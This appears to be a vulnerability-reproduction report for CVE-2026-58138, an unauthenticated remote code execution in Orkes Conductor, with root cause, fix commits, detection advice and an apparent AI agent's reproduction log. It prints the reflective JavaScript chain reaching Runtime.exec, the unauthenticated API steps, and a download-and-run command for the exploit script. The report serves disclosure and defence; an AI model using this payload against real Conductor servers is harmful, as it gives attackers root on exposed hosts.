Skip to content

CVE-2026-58138: Verified Reproduction

CVE-2026-58138: Orkes Conductor unauthenticated RCE via inline script evaluators

CVE-2026-58138 is verified against the affected target. Vulnerability class: RCE. This critical reproduction includes runnable sandbox proof, artifacts, and a plain-text agent view under REPRO-2026-00236.

REPRO-2026-00236 RCE Jul 6, 2026 CVE entry .txt
Severity
CRITICAL
CVSS
9.8
Confidence
HIGH
Reproduced in
24m 53s
Tool calls
258
Spend
$3.95
01 · Overview

What Is CVE-2026-58138?

CVE-2026-58138 is a critical, unauthenticated remote code execution vulnerability (CWE-94) in Orkes Conductor OSS before 3.30.2. Inline workflow script expressions are evaluated inside an unsandboxed GraalVM context with full host access, and the Conductor REST API performs no authentication by default. Pruva reproduced it (reproduction REPRO-2026-00236).

02 · Severity & CVSS

CVE-2026-58138 Severity & CVSS Score

CVE-2026-58138 is rated critical severity, with a CVSS base score of 9.8 out of 10.

CRITICAL threat level
9.8 / 10 CVSS base
Weakness CWE-94 Improper Control of Generation of Code (Code Injection) — Improper Control of Generation of Code ('Code Injection')

Critical — the most severe class — typically remotely exploitable with severe impact. Treat as an emergency.

How to Reproduce CVE-2026-58138

$ pruva-verify REPRO-2026-00236
or curl -O https://www.pruva.dev/api/v1/reproductions/REPRO-2026-00236/artifacts/bundle/repro/reproduction_steps.sh && chmod +x reproduction_steps.sh && ./reproduction_steps.sh
Run in a VM or disposable container. This exploits a real vulnerability.
06 · Proof of Reproduction

Proof of Reproduction for CVE-2026-58138

Remote code execution — reproduced
  • reached the target end-to-end
  • full exploit chain demonstrated
  • on the real production code path
  • high confidence
  • the upstream fix blocks the same trigger
Trigger

unauthenticated workflow definition with an INLINE task whose JavaScript expression bootstraps Java reflection from the bound input object ($) to java.lang.Runtime and calls Runtime.exec(['sh','-c',CMD])

Attack chain
  1. POST /api/metadata/workflow (register malicious workflow, no auth) + POST /api/workflow/{name} (start, no auth)
  2. INLINE system task evaluates the JS expression in a GraalVM Context built with HostAccess.ALL
  3. reflective Runtime.exec
  4. command stdout returned in GET /api/workflow/{id}?includeTasks=true tasks[].outputData.result
Runnable proof: reproduction_steps.sh
Captured evidence: fixed containerfixed exploitvariant fixed container
How the agent worked 589 events · 258 tool calls · 25 min
25 minDuration
258Tool calls
158Reasoning steps
589Events
Agent activity over 25 min
Support
13
Repro
304
Judge
24
Variant
244
0:0024:53

Root Cause and Exploit Chain for CVE-2026-58138

Versions: 3.21.21 … < 3.30.2 (confirmed on 3.22.3). The plain

CVE-2026-58138 is an unauthenticated remote code execution vulnerability in Orkes/Conductor-OSS (the community workflow orchestration engine) versions 3.21.21 through before 3.30.2. The INLINE system task (and the related LAMBDA, DO_WHILE, and SWITCH task types) evaluates a user-supplied JavaScript expression inside a GraalVM polyglot Context that is built with full host access (HostAccess.ALL) and, for the Python evaluator, allowAllAccess(true). Because the community Conductor REST API performs no authentication by default, any remote attacker who can reach the API can register a workflow definition whose INLINE task carries a malicious expression, start the workflow, and have the Conductor JVM execute arbitrary operating-system commands. This was reproduced end-to-end against the real conductoross/conductor:3.22.3 Docker image: an unauthenticated POST /api/metadata/workflow + POST /api/workflow/{name} caused Runtime.exec(["sh","-c",CMD]) to run as root inside the Conductor host, and the command's stdout was returned verbatim in the task's outputData.result.

  • Package/component affected: conductor-oss/conductorcore/src/main/java/com/netflix/conductor/core/events/ScriptEvaluator.java (the GraalVM js evaluator context) and core/src/main/java/com/netflix/conductor/core/execution/evaluators/PythonEvaluator.java (the python evaluator context). Reachable through the INLINE workflow system task (com.netflix.conductor.core.execution.tasks.Inline) and LAMBDA/DO_WHILE/SWITCH which also evaluate script expressions.
  • Affected versions: 3.21.21 … < 3.30.2 (confirmed on 3.22.3). The plain allowHostAccess(HostAccess.ALL) configuration is present through ~3.29.x; 3.30.0/3.30.1 added a partial denyAccess(...) blocklist (reflection blocked but class loading still permitted); the complete fix lands in 3.30.2.
  • Risk level and consequences: Critical (CVSS 9.8, AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H). Full unauthenticated remote compromise of the orchestrator host: arbitrary command execution as the Conductor process user (root in the default Docker image), exposing the engine's persistence/queues, stored credentials, and every system its workflows touch.

Impact Parity

  • Disclosed/claimed maximum impact: Unauthenticated remote code execution (arbitrary OS command execution) — code_execution.
  • Reproduced impact from this run: Unauthenticated remote code execution as root — the attacker-supplied shell command (id; echo <marker>; hostname; cat /etc/os-release) executed inside the Conductor host and its stdout (uid=0(root)…, the unique marker, the hostname, and the OS release line) was returned through the unauthenticated API. A second, independent proof confirmed a marker file was written to the container filesystem.
  • Parity: full. The proof exercises the exact claimed surface (unauthenticated remote API → inline script → OS command execution) and demonstrates the claimed maximum impact (code execution as root).
  • Not demonstrated: Nothing — the reproduction reached the full claimed impact, not merely a crash or memory-safety symptom.

Root Cause

Conductor's INLINE task evaluates user-supplied script through ScriptEvaluator.eval(), which builds a GraalVM polyglot Context for the js language. In the vulnerable versions the context is created with no sandbox:

// core/.../events/ScriptEvaluator.java  (v3.22.3, createNewContext())
private static Context createNewContext() {
    return Context.newBuilder("js")
            .allowHostAccess(HostAccess.ALL)      // <-- every public Java method/field callable
            .option("engine.WarnInterpreterOnly", "false")
            .build();
}

HostAccess.ALL permits the script to call any public method or access any public field on every Java host object it can reach. The INLINE task binds its inputParameters map as the JavaScript global $ — a live Java object (jsBindings.putMember("$", input) in ScriptEvaluator.eval()). From $ the script bootstraps Java reflection without needing any Java.type/class-lookup permission, because everything is reached by calling public methods on host objects that HostAccess.ALL already exposes:

var k  = $.getClass().getClass();                 // java.lang.Class
var S  = k.getMethod('getName').getReturnType();  // java.lang.String class
var fN = k.getMethod('forName', S);               // Class.forName(String)
var RT = fN.invoke(null, ['java.lang.Runtime']);  // java.lang.Runtime
var rt = RT.getMethod('getRuntime').invoke(null, []);
// build String[]{'sh','-c',CMD} reflectively, then:
var p  = RT.getMethod('exec', strArr.getClass()).invoke(rt, [strArr]);
// read p.getInputStream() -> return stdout as the task result

The Python evaluator is analogous: Context.newBuilder("python").allowAllAccess(true).build().

The Conductor community REST API has no authentication by default, so the two calls that trigger evaluation — POST /api/metadata/workflow (register the malicious workflow) and POST /api/workflow/{name} (start it, which synchronously evaluates the INLINE task) — require no credentials. The task result (GET /api/workflow/{id}?includeTasks=truetasks[].outputData.result) carries the executed command's stdout back to the attacker.

Fix commits (release 3.30.2):

  • 87a7d96aabbb706d6e84f812b93da5165028d18f — replaces HostAccess.ALL with a builder that denyAccess(...) Class, ClassLoader, java.lang.reflect.*, Runtime, ProcessBuilder, Process, System, Thread, ThreadGroup; removes allowAllAccess(true) from PythonEvaluator.
  • c691e35e768caeb802c9f06ecdd9674c80081af1 — adds allowHostClassLoading(false), allowNativeAccess(false), allowCreateThread(false), allowCreateProcess(false), allowIO(IOAccess.NONE), allowEnvironmentAccess(EnvironmentAccess.NONE), and engine options js.load=false / js.print=false / js.console=false. Disabling host class loading is the binary discriminator that prevents the script from materializing the classes needed to reach Runtime.

Reproduction Steps

  1. Reference script: bundle/repro/reproduction_steps.sh (with helper bundle/repro/exploit.py).
  2. What the script does:
    • Pulls the real Docker images conductoross/conductor:3.22.3 (vulnerable) and conductoross/conductor:3.30.2 (fixed negative control).
    • Starts the vulnerable Conductor with Docker --network host, waits for the /health endpoint to return 200, and confirms the unauthenticated metadata API (GET /api/metadata/workflow → HTTP 200, no auth).
    • Runs exploit.py, which (with no authentication) registers a workflow whose INLINE task carries the reflective Runtime.exec JavaScript payload, starts it, and polls the task result. The payload also writes a unique marker file inside the container.
    • Asserts the vulnerable task is COMPLETED, the result contains live command output, and the marker file exists inside the container.
    • Stops the vulnerable container, starts the fixed 3.30.2 image the same way, and runs the identical payload — asserting it is now blocked (task_status=FAILED_WITH_TERMINAL_ERROR, no command output, no marker file).
    • Writes bundle/repro/runtime_manifest.json.
  3. Expected evidence of reproduction: logs/vuln_exploit.log / artifacts/vuln_exploit.json show task_status=COMPLETED and rce_confirmed=true with the command stdout (uid=0(root)…, the marker, hostname, OS release); artifacts/vuln_marker_check.txt shows the marker file present inside the vulnerable container. For the fixed build, artifacts/fixed_exploit.json shows task_status=FAILED_WITH_TERMINAL_ERROR, rce_confirmed=false, and artifacts/fixed_marker_check.txt shows the marker file absent. The script exits 0 only when both conditions hold.

Evidence

  • bundle/logs/reproduction_steps.log — full annotated run log.
  • bundle/logs/vuln_container.log — vulnerable Conductor boot log.
  • bundle/artifacts/vuln_health.json{"healthy":true} from the vulnerable instance.
  • bundle/artifacts/vuln_metadata_http.txtHTTP 200 (unauthenticated metadata API reachable).
  • bundle/artifacts/vuln_exploit.json — exploit result: register_status=200, start_status=200, workflow_status=COMPLETED, task_status=COMPLETED, rce_confirmed=true, and task_output_result containing:
    uid=0(root) gid=0(root) groups=0(root)
    PRUVA_RCE_CONFIRMED_<ts>
    <hostname>
    PRETTY_NAME="Debian GNU/Linux 13 (trixie)"
    
  • bundle/artifacts/vuln_marker_check.txtdocker exec proof that the marker file was written inside the vulnerable container.
  • bundle/logs/fixed_container.log, bundle/artifacts/fixed_exploit.json — fixed build: task_status=FAILED_WITH_TERMINAL_ERROR, workflow_status=FAILED, rce_confirmed=false, task_output_result=null.
  • bundle/artifacts/fixed_marker_check.txt — marker file absent in the fixed container (No such file or directory).
  • Environment: Docker --network host on host muramasa (Arch Linux kernel); sandbox reached the host-network conductor via the docker bridge gateway 172.20.0.1:8080; vulnerable image conductoross/conductor:3.22.3, fixed image conductoross/conductor:3.30.2.

Recommendations / Next Steps

  • Upgrade to Conductor ≥ 3.30.2 immediately. The js/python evaluators no longer run with host access / host class loading enabled.
  • Defense in depth: put authentication/authorization in front of the Conductor API (the community build is unauthenticated by default); run the server as a non-root, least-privilege user; restrict which principals can register/run workflows.
  • Detection: flag workflow definitions whose INLINE/LAMBDA/DO_WHILE/ SWITCH tasks contain expression strings referencing getClass, forName, Runtime, exec, ProcessBuilder, or java. reflection; alert on Conductor processes spawning shells.
  • Testing: add regression tests (as the fix did in InlineTest.java) that assert a reflection-based RCE expression yields FAILED_WITH_TERMINAL_ERROR for both javascript and graaljs evaluator types on every build.

Additional Notes

  • Idempotency: the script cleans up any leftover conductor-vuln-repro/conductor-fixed-repro containers at startup and stops/removes them after each phase, so it can be re-run cleanly. Each exploit uses a timestamped workflow name and marker, so repeated runs do not collide.
  • Networking: in the DinD sandbox, Docker bridge port publishing (-p) does not expose a reachable port to the sandbox container; the script therefore uses --network host and reaches the conductor via the sandbox's default gateway (detect_target_ip), falling back to 127.0.0.1 when the sandbox is the docker host itself.
  • Scope of the proof: the in-range version demonstrated (3.22.3) uses the plain HostAccess.ALL configuration; the 3.30.0/3.30.1 partial blocklist is not separately bypassed here — the negative control uses the complete fix (3.30.2) per the CVE's fixed version.

CVE-2026-58138 Reproduction Transcript

The agent's step-by-step process — every tool call, every handoff, the moment the exploit fired.

Full session Replay every step — scrub the timeline or play it back.

Event 1/40
0:000:58
0:00
session startedaccounts/fireworks/routers/glm-5p2-fast · CVE-2026-58138 · REPRO-20
0:03
0:04
web search
0:07
web search
0:10
0:27
0:37
0:37
extract_facts
no facts extracted
0:38
0:38
0:38
supportrepro
0:40
0:40
0:40
0:41
0:41
0:41
0:43
0:43
0:43
0:46
0:46
0:47
web search
0:52
0:52
$cd /tmp && curl -sL "https://github.com/conductor-oss/conductor/commit/87a7d96aabbb706d6e84f812b93da5165028d18f.patch" -o fix1.patch && wc -l fix1.patch && echo "=====FIX1 PATCH HEAD=====" && head -200 fix1.patch
0.3s
{"cwd":"/data/pruva/runs/78bac993-57aa-4d07-ae6a-e903103398fb","duration_ms":306,"exit_code":0,"stderr":"","stdout":"126 fix1.patch\n=====FIX1 PATCH HEAD=====\nFrom 87a7d96aabbb706d6e84f812b93da5165028d18f Mon Sep 17 00:00:00 2001\nFrom: Vasilii Pankov <c4lm@users.noreply.github.com>\nDate: Wed, 6 May 2026 00:23:17 +0400\nSubject: [PATCH] Deny access to some classes in js evaluator, deny host access\n in python evaluator (#1057)\n\nDeny access to some classes in js evaluator, deny host access in python evaluator\n---\n .../core/events/ScriptEvaluator.java          | 17 +++++-\n .../execution/evaluators/PythonEvaluator.java |  2 +-\n .../core/execution/tasks/InlineTest.java      | 53 +++++++++++++++++++\n 3 files changed, 70 insertions(+), 2 deletions(-)\n\ndiff --git a/core/src/main/java/com/netflix/conductor/core/events/ScriptEvaluator.java b/core/src/main/java/com/netflix/conductor/core/events/ScriptEvaluator.java\nindex 1a5feb7dad..ecec24cb9f 100644\n--- a/core/src/main/java/com/netflix/conductor/core/events/ScriptEvaluator.java\n+++ b/core/src/main/java/com/netflix/conductor/core/events/ScriptEvaluator.java\n@@ -114,8 +114,23 @@ private static void ensureInitialized() {\n     }… [truncated]
0:56
0:57
$cd /tmp && curl -sL "https://github.com/conductor-oss/conductor/commit/c691e35e768caeb802c9f06ecdd9674c80081af1.patch" -o fix2.patch && echo "=====FIX2 PATCH=====" && cat fix2.patch | head -120
0.3s
{"cwd":"/data/pruva/runs/78bac993-57aa-4d07-ae6a-e903103398fb","duration_ms":242,"exit_code":0,"stderr":"","stdout":"=====FIX2 PATCH=====\nFrom c691e35e768caeb802c9f06ecdd9674c80081af1 Mon Sep 17 00:00:00 2001\nFrom: Vasilii Pankov <c4lm@users.noreply.github.com>\nDate: Fri, 22 May 2026 22:09:13 +0400\nSubject: [PATCH] Restrict graaljs further (#1123)\n\n---\n .../core/events/ScriptEvaluator.java          | 25 +++++++++-\n .../core/execution/tasks/InlineTest.java      | 50 +++++++++++++++++++\n 2 files changed, 73 insertions(+), 2 deletions(-)\n\ndiff --git a/core/src/main/java/com/netflix/conductor/core/events/ScriptEvaluator.java b/core/src/main/java/com/netflix/conductor/core/events/ScriptEvaluator.java\nindex eff4abc5db..5bc9fcd888 100644\n--- a/core/src/main/java/com/netflix/conductor/core/events/ScriptEvaluator.java\n+++ b/core/src/main/java/com/netflix/conductor/core/events/ScriptEvaluator.java\n@@ -17,6 +17,7 @@\n import java.util.concurrent.*;\n \n import org.graalvm.polyglot.*;\n+import org.graalvm.polyglot.io.IOAccess;\n import org.slf4j.Logger;\n import org.slf4j.LoggerFactory;\n \n@@ -54,8 +55,19 @@ public class ScriptEvaluator {\n     private static final Engine ENGIN… [truncated]
0:58
08 · How to Fix

How to Fix CVE-2026-58138

Coming soon

Step-by-step mitigation and hardening guidance for CVE-2026-58138 — configuration checks, workarounds where no patch exists, and how to verify you're protected — is on the way.

10 · FAQ

FAQ: CVE-2026-58138

How does the CVE-2026-58138 exploit work?

An unauthenticated attacker registers a workflow definition whose INLINE task carries a malicious expression, then starts it via POST /api/metadata/workflow and POST /api/workflow/{name}. Reproduced against the conductoross/conductor:3.22.3 Docker image, this caused Runtime.exec([\"sh\",\"-c\",CMD]) to run as root inside the Conductor host, with the command's stdout returned verbatim in the task's outputData.result.

Which Orkes Conductor versions are affected by CVE-2026-58138, and where is it fixed?

Conductor-OSS versions 3.21.21 through before 3.30.2 are affected; it is fixed in 3.30.2.

How severe is CVE-2026-58138?

Critical (CVSS 9.8 per the advisory) — unauthenticated remote code execution as root against a network-reachable Conductor API with no authentication by default.

How can I reproduce CVE-2026-58138?

Download the verified script from this page and run it in an isolated environment against the conductoross/conductor:3.22.3 Docker image. It sends an unauthenticated workflow definition containing a malicious INLINE task expression, starts the workflow, and shows the injected shell command's output returned in the task result as evidence of root-level code execution.
11 · References

References for CVE-2026-58138

Authoritative sources for CVE-2026-58138 — official vulnerability databases and the upstream advisory. Pruva's reproduction verifies the issue firsthand; these are the primary records to corroborate it.